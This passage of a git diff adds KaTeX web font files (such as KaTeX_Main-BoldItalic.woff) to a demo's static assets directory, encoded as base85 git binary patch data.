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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-BoldItalic.woff b/demo/static/dist/assets/KaTeX_Main-BoldItalic.woff new file mode 100644 index 0000000000000000000000000000000000000000..67807b0bd4f867853271f5917fb3adf377f93f53 GIT binary patch literal 19412 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 